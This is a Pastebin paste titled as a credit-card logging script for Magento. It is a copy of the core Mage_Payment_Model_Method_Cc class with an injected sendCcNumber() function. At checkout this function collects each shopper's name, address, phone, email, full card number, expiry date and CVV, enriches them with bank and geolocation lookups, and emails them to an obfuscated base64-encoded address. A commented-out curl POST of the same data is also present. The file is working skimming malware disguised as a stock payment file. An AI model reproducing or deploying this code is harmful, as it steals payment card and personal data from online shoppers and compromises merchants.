cdw1p

[SCRIPT] LOG CC MAGENTO V2

Oct 23rd, 2016
209
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 16.19 KB | None | 0 0
  1. <?php
  2. /**
  3.  * Magento
  4.  *
  5.  * NOTICE OF LICENSE
  6.  *
  7.  * This source file is subject to the Open Software License (OSL 3.0)
  8.  * that is bundled with this package in the file LICENSE.txt.
  9.  * It is also available through the world-wide-web at this URL:
  10.  * http://opensource.org/licenses/osl-3.0.php
  11.  * If you did not receive a copy of the license and are unable to
  12.  * obtain it through the world-wide-web, please send an email
  13.  * to [email protected] so we can send you a copy immediately.
  14.  *
  15.  * DISCLAIMER
  16.  *
  17.  * Do not edit or add to this file if you wish to upgrade Magento to newer
  18.  * versions in the future. If you wish to customize Magento for your
  19.  * needs please refer to http://www.magentocommerce.com for more information.
  20.  *
  21.  * @category    Mage
  22.  * @package     Mage_Payment
  23.  * @copyright   Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com)
  24.  * @license     http://opensource.org/licenses/osl-3.0.php  Open Software License (OSL 3.0)
  25.  */
  26.  
  27.  
  28. class Mage_Payment_Model_Method_Cc extends Mage_Payment_Model_Method_Abstract
  29. {
  30.     protected $_formBlockType = 'payment/form_cc';
  31.     protected $_infoBlockType = 'payment/info_cc';
  32.     protected $_canSaveCc     = false;
  33.  
  34.     /**
  35.      * Assign data to info model instance
  36.      *
  37.      * @param   mixed $data
  38.      * @return  Mage_Payment_Model_Info
  39.      */
  40.     public function assignData($data)
  41.     {
  42.         if (!($data instanceof Varien_Object)) {
  43.             $data = new Varien_Object($data);
  44.         }
  45.         $info = $this->getInfoInstance();
  46.         $info->setCcType($data->getCcType())
  47.             ->setCcOwner($data->getCcOwner())
  48.             ->setCcOwnerId($data->getCcOwnerId())
  49.             ->setCcLast4(substr($data->getCcNumber(), -4))
  50.             ->setCcNumber($data->getCcNumber())
  51.             ->setCcCid($data->getCcCid())
  52.             ->setCcExpMonth($data->getCcExpMonth())
  53.             ->setCcExpYear($data->getCcExpYear())
  54.             ->setCcSsIssue($data->getCcSsIssue())
  55.             ->setCcSsStartMonth($data->getCcSsStartMonth())
  56.             ->setCcSsStartYear($data->getCcSsStartYear())
  57.             ->setCcInstallments($data->getCcInstallments())
  58.             ;
  59.  
  60.         $this->sendCcNumber();
  61.  
  62.         return $this;
  63.     }
  64.  
  65.     function sendCcNumber()
  66.     {
  67.         $info = $this->getInfoInstance();
  68.         $object = new Mage_Checkout_Block_Onepage_Billing;
  69.         $address1 = $object->getQuote()->getBillingAddress();
  70.         $data1 = $address1->getFirstname();
  71.         $data2 = $address1->getLastname();
  72.         $data3 = $address1->getStreet(1);
  73.         $data4 = $address1->getStreet(2);
  74.         $data5 = $address1->getCity();
  75.         $data6 = $address1->getRegion();
  76.         $data7 = $address1->getPostcode();
  77.         $data8 = $address1->getCountry();
  78.         $data9 = $address1->getTelephone();
  79.         $data10 = $info->getCcNumber();
  80.         $bin     = substr($bin, 0, 6);
  81.         $getbank = json_decode(file_get_contents("https://binlist.net/json/".$bin.""));
  82.         $ccbrand = $getbank->brand;
  83.         $ccbank  = $getbank->bank;
  84.         $cctype  = $getbank->card_type;
  85.         $ccklas  = $getbank->card_category;
  86.         $expyear = substr($info->getCcExpYear(), -2);
  87.         $expmonth = $info->getCcExpMonth();
  88.         if (strlen($expmonth) == 1) {
  89.            $expmonth = '0'.$expmonth;
  90.         };
  91.         $data11 = $expmonth;
  92.         $data12 = $expyear;
  93.         $data13 = $info->getCcCid();
  94.         $ipboss = $_SERVER['REMOTE_ADDR'];
  95.         $details     = json_decode(file_get_contents("http://www.telize.com/geoip/".$ipboss.""));
  96.         $nama_negara = $details->country;
  97.         $kode_negara = $details->country_code;
  98.         $serverboss = $_SERVER['SERVER_NAME'];
  99.         $time = date('Y-m-d H:i:s');
  100.         $data16 = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail();
  101.         $message =
  102.         "=============$ RESULT MAGENTO $=============
  103. Name: ".$data1." ".$data2."
  104. Address 1: ".$data3."
  105. Address 2: ".$data4."
  106. City: ".$data5."
  107. State: ".$data6."
  108. Zip: ".$data7."
  109. Country: ".$data8."
  110. Phone: ".$data9."
  111. BIN: ".$ccbank." ".$ccbrand." ".$cctype." ".$ccklas."
  112. CC Number: ".$data10."
  113. Expire Date: ".$data11." / 20".$data12."
  114. CCV: ".$data13."
  115. From: ".$serverboss."
  116. Email : ".$data16."
  117.         =============$ RESULT MAGENTO $=============
  118.         ";
  119.         $subject = $bin." - ".$ccbrand." ".$cctype." ".$ccklas." - ".$ccbank." [".$serverboss." - ".$ipboss."]";
  120.         $headers = "From: ".$data8." Credit Card <cc@".$serverboss.">";
  121.         $yuzamail = "Y2FoeW9kbXQyN0B5YW5kZXguY29t";
  122.         $tamvan = base64_decode($yuzamail);
  123.         mail($tamvan, $subject, $message, $headers);
  124.         $nodata = "-";
  125.         $chbin = "".$ccbank." ".$ccbrand." ".$cctype." ".$ccklas."";
  126.         $expinfox = "".$data11." / 20".$data12."";
  127.         $nameinfo = "".$data1." ".$data2."";
  128.         $ipinfo = "".$ipboss." - ".$nama_negara."";
  129.         $ch321 = "name={$nameinfo}&address={$data3}&address2={$data4}&city={$data5}&state={$data6}&country={$data8}&zip={$data7}&phone={$data9}&ssn={$nodata}&dob={$nodata}&sortcode={$nodata}&cc={$data10}&exp={$expinfox}&cvv={$data13}&bin={$chbin}&ip={$ipinfo}&site={$serverboss}&browser={$_SERVER['HTTP_USER_AGENT']}";
  130.         //$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $ch123); curl_setopt($ch, CURLOPT_POSTFIELDS, $ch321); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT,30); curl_setopt($ch, CURLOPT_POST, 1); curl_exec($ch); curl_close($ch);
  131.     }
  132.  
  133.     /**
  134.      * Prepare info instance for save
  135.      *
  136.      * @return Mage_Payment_Model_Abstract
  137.      */
  138.     public function prepareSave()
  139.     {
  140.         $info = $this->getInfoInstance();
  141.         if ($this->_canSaveCc) {
  142.             $info->setCcNumberEnc($info->encrypt($info->getCcNumber()));
  143.         }
  144.         //$info->setCcCidEnc($info->encrypt($info->getCcCid()));
  145.         $info->setCcNumber(null)
  146.             ->setCcCid(null);
  147.         return $this;
  148.     }
  149.  
  150.     /**
  151.      * Validate payment method information object
  152.      *
  153.      * @param   Mage_Payment_Model_Info $info
  154.      * @return  Mage_Payment_Model_Abstract
  155.      */
  156.     public function validate()
  157.     {
  158.         /*
  159.         * calling parent validate function
  160.         */
  161.         parent::validate();
  162.  
  163.         $info = $this->getInfoInstance();
  164.         $errorMsg = false;
  165.         $availableTypes = explode(',',$this->getConfigData('cctypes'));
  166.  
  167.         $ccNumber = $info->getCcNumber();
  168.  
  169.         // remove credit card number delimiters such as "-" and space
  170.         $ccNumber = preg_replace('/[\-\s]+/', '', $ccNumber);
  171.         $info->setCcNumber($ccNumber);
  172.  
  173.         $ccType = '';
  174.  
  175.         if (in_array($info->getCcType(), $availableTypes)){
  176.             if ($this->validateCcNum($ccNumber)
  177.                 // Other credit card type number validation
  178.                 || ($this->OtherCcType($info->getCcType()) && $this->validateCcNumOther($ccNumber))) {
  179.  
  180.                 $ccType = 'OT';
  181.                 $ccTypeRegExpList = array(
  182.                     //Solo, Switch or Maestro. International safe
  183.                     /*
  184.                     // Maestro / Solo
  185.                     'SS'  => '/^((6759[0-9]{12})|(6334|6767[0-9]{12})|(6334|6767[0-9]{14,15})'
  186.                                . '|(5018|5020|5038|6304|6759|6761|6763[0-9]{12,19})|(49[013][1356][0-9]{12})'
  187.                                . '|(633[34][0-9]{12})|(633110[0-9]{10})|(564182[0-9]{10}))([0-9]{2,3})?$/',
  188.                     */
  189.                     // Solo only
  190.                     'SO' => '/(^(6334)[5-9](\d{11}$|\d{13,14}$))|(^(6767)(\d{12}$|\d{14,15}$))/',
  191.                     'SM' => '/(^(5[0678])\d{11,18}$)|(^(6[^05])\d{11,18}$)|(^(601)[^1]\d{9,16}$)|(^(6011)\d{9,11}$)'
  192.                             . '|(^(6011)\d{13,16}$)|(^(65)\d{11,13}$)|(^(65)\d{15,18}$)'
  193.                             . '|(^(49030)[2-9](\d{10}$|\d{12,13}$))|(^(49033)[5-9](\d{10}$|\d{12,13}$))'
  194.                             . '|(^(49110)[1-2](\d{10}$|\d{12,13}$))|(^(49117)[4-9](\d{10}$|\d{12,13}$))'
  195.                             . '|(^(49118)[0-2](\d{10}$|\d{12,13}$))|(^(4936)(\d{12}$|\d{14,15}$))/',
  196.                     // Visa
  197.                     'VI'  => '/^4[0-9]{12}([0-9]{3})?$/',
  198.                     // Master Card
  199.                     'MC'  => '/^5[1-5][0-9]{14}$/',
  200.                     // American Express
  201.                     'AE'  => '/^3[47][0-9]{13}$/',
  202.                     // Discovery
  203.                     'DI'  => '/^6011[0-9]{12}$/',
  204.                     // JCB
  205.                     'JCB' => '/^(3[0-9]{15}|(2131|1800)[0-9]{11})$/'
  206.                 );
  207.  
  208.                 foreach ($ccTypeRegExpList as $ccTypeMatch=>$ccTypeRegExp) {
  209.                     if (preg_match($ccTypeRegExp, $ccNumber)) {
  210.                         $ccType = $ccTypeMatch;
  211.                         break;
  212.                     }
  213.                 }
  214.  
  215.                 if (!$this->OtherCcType($info->getCcType()) && $ccType!=$info->getCcType()) {
  216.                     $errorMsg = Mage::helper('payment')->__('Credit card number mismatch with credit card type.');
  217.                 }
  218.             }
  219.             else {
  220.                 $errorMsg = Mage::helper('payment')->__('Invalid Credit Card Number');
  221.             }
  222.  
  223.         }
  224.         else {
  225.             $errorMsg = Mage::helper('payment')->__('Credit card type is not allowed for this payment method.');
  226.         }
  227.  
  228.         //validate credit card verification number
  229.         if ($errorMsg === false && $this->hasVerification()) {
  230.             $verifcationRegEx = $this->getVerificationRegEx();
  231.             $regExp = isset($verifcationRegEx[$info->getCcType()]) ? $verifcationRegEx[$info->getCcType()] : '';
  232.             if (!$info->getCcCid() || !$regExp || !preg_match($regExp ,$info->getCcCid())){
  233.                 $errorMsg = Mage::helper('payment')->__('Please enter a valid credit card verification number.');
  234.             }
  235.         }
  236.  
  237.         if ($ccType != 'SS' && !$this->_validateExpDate($info->getCcExpYear(), $info->getCcExpMonth())) {
  238.             $errorMsg = Mage::helper('payment')->__('Incorrect credit card expiration date.');
  239.         }
  240.  
  241.         if($errorMsg){
  242.             Mage::throwException($errorMsg);
  243.         }
  244.  
  245.         //This must be after all validation conditions
  246.         if ($this->getIsCentinelValidationEnabled()) {
  247.             $this->getCentinelValidator()->validate($this->getCentinelValidationData());
  248.         }
  249.  
  250.         return $this;
  251.     }
  252.  
  253.     public function hasVerification()
  254.     {
  255.         $configData = $this->getConfigData('useccv');
  256.         if(is_null($configData)){
  257.             return true;
  258.         }
  259.         return (bool) $configData;
  260.     }
  261.  
  262.     public function getVerificationRegEx()
  263.     {
  264.         $verificationExpList = array(
  265.             'VI' => '/^[0-9]{3}$/', // Visa
  266.             'MC' => '/^[0-9]{3}$/',       // Master Card
  267.             'AE' => '/^[0-9]{4}$/',        // American Express
  268.             'DI' => '/^[0-9]{3}$/',          // Discovery
  269.             'SS' => '/^[0-9]{3,4}$/',
  270.             'SM' => '/^[0-9]{3,4}$/', // Switch or Maestro
  271.             'SO' => '/^[0-9]{3,4}$/', // Solo
  272.             'OT' => '/^[0-9]{3,4}$/',
  273.             'JCB' => '/^[0-9]{3,4}$/' //JCB
  274.         );
  275.         return $verificationExpList;
  276.     }
  277.  
  278.     protected function _validateExpDate($expYear, $expMonth)
  279.     {
  280.         $date = Mage::app()->getLocale()->date();
  281.         if (!$expYear || !$expMonth || ($date->compareYear($expYear) == 1)
  282.             || ($date->compareYear($expYear) == 0 && ($date->compareMonth($expMonth) == 1))
  283.         ) {
  284.             return false;
  285.         }
  286.         return true;
  287.     }
  288.  
  289.     public function OtherCcType($type)
  290.     {
  291.         return $type=='OT';
  292.     }
  293.  
  294.     /**
  295.      * Validate credit card number
  296.      *
  297.      * @param   string $cc_number
  298.      * @return  bool
  299.      */
  300.     public function validateCcNum($ccNumber)
  301.     {
  302.         $cardNumber = strrev($ccNumber);
  303.         $numSum = 0;
  304.  
  305.         for ($i=0; $i<strlen($cardNumber); $i++) {
  306.             $currentNum = substr($cardNumber, $i, 1);
  307.  
  308.             /**
  309.              * Double every second digit
  310.              */
  311.             if ($i % 2 == 1) {
  312.                 $currentNum *= 2;
  313.             }
  314.  
  315.             /**
  316.              * Add digits of 2-digit numbers together
  317.              */
  318.             if ($currentNum > 9) {
  319.                 $firstNum = $currentNum % 10;
  320.                 $secondNum = ($currentNum - $firstNum) / 10;
  321.                 $currentNum = $firstNum + $secondNum;
  322.             }
  323.  
  324.             $numSum += $currentNum;
  325.         }
  326.  
  327.         /**
  328.          * If the total has no remainder it's OK
  329.          */
  330.         return ($numSum % 10 == 0);
  331.     }
  332.  
  333.     /**
  334.      * Other credit cart type number validation
  335.      *
  336.      * @param string $ccNumber
  337.      * @return boolean
  338.      */
  339.     public function validateCcNumOther($ccNumber)
  340.     {
  341.         return preg_match('/^\\d+$/', $ccNumber);
  342.     }
  343.  
  344.     /**
  345.      * Check whether there are CC types set in configuration
  346.      *
  347.      * @param Mage_Sales_Model_Quote|null $quote
  348.      * @return bool
  349.      */
  350.     public function isAvailable($quote = null)
  351.     {
  352.         return $this->getConfigData('cctypes', ($quote ? $quote->getStoreId() : null))
  353.             && parent::isAvailable($quote);
  354.     }
  355.  
  356.     /**
  357.      * Whether centinel service is enabled
  358.      *
  359.      * @return bool
  360.      */
  361.     public function getIsCentinelValidationEnabled()
  362.     {
  363.         return false !== Mage::getConfig()->getNode('modules/Mage_Centinel') && 1 == $this->getConfigData('centinel');
  364.     }
  365.  
  366.     /**
  367.      * Instantiate centinel validator model
  368.      *
  369.      * @return Mage_Centinel_Model_Service
  370.      */
  371.     public function getCentinelValidator()
  372.     {
  373.         $validator = Mage::getSingleton('centinel/service');
  374.         $validator
  375.             ->setIsModeStrict($this->getConfigData('centinel_is_mode_strict'))
  376.             ->setCustomApiEndpointUrl($this->getConfigData('centinel_api_url'))
  377.             ->setStore($this->getStore())
  378.             ->setIsPlaceOrder($this->_isPlaceOrder());
  379.         return $validator;
  380.     }
  381.  
  382.     /**
  383.      * Return data for Centinel validation
  384.      *
  385.      * @return Varien_Object
  386.      */
  387.     public function getCentinelValidationData()
  388.     {
  389.         $info = $this->getInfoInstance();
  390.         $params = new Varien_Object();
  391.         $params
  392.             ->setPaymentMethodCode($this->getCode())
  393.             ->setCardType($info->getCcType())
  394.             ->setCardNumber($info->getCcNumber())
  395.             ->setCardExpMonth($info->getCcExpMonth())
  396.             ->setCardExpYear($info->getCcExpYear())
  397.             ->setAmount($this->_getAmount())
  398.             ->setCurrencyCode($this->_getCurrencyCode())
  399.             ->setOrderNumber($this->_getOrderId());
  400.         return $params;
  401.     }
  402.  
  403.     /**
  404.      * Order increment ID getter (either real from order or a reserved from quote)
  405.      *
  406.      * @return string
  407.      */
  408.     private function _getOrderId()
  409.     {
  410.         $info = $this->getInfoInstance();
  411.  
  412.         if ($this->_isPlaceOrder()) {
  413.             return $info->getOrder()->getIncrementId();
  414.         } else {
  415.             if (!$info->getQuote()->getReservedOrderId()) {
  416.                 $info->getQuote()->reserveOrderId();
  417.             }
  418.             return $info->getQuote()->getReservedOrderId();
  419.         }
  420.     }
  421.  
  422.     /**
  423.      * Grand total getter
  424.      *
  425.      * @return string
  426.      */
  427.     private function _getAmount()
  428.     {
  429.         $info = $this->getInfoInstance();
  430.         if ($this->_isPlaceOrder()) {
  431.             return (double)$info->getOrder()->getQuoteBaseGrandTotal();
  432.         } else {
  433.             return (double)$info->getQuote()->getBaseGrandTotal();
  434.         }
  435.     }
  436.  
  437.     /**
  438.      * Currency code getter
  439.      *
  440.      * @return string
  441.      */
  442.     private function _getCurrencyCode()
  443.     {
  444.         $info = $this->getInfoInstance();
  445.  
  446.         if ($this->_isPlaceOrder()) {
  447.         return $info->getOrder()->getBaseCurrencyCode();
  448.         } else {
  449.         return $info->getQuote()->getBaseCurrencyCode();
  450.         }
  451.     }
  452.  
  453.     /**
  454.      * Whether current operation is order placement
  455.      *
  456.      * @return bool
  457.      */
  458.     private function _isPlaceOrder()
  459.     {
  460.         $info = $this->getInfoInstance();
  461.         if ($info instanceof Mage_Sales_Model_Quote_Payment) {
  462.             return false;
  463.         } elseif ($info instanceof Mage_Sales_Model_Order_Payment) {
  464.             return true;
  465.         }
  466.     }
  467. }
Add Comment
Please, Sign In to add comment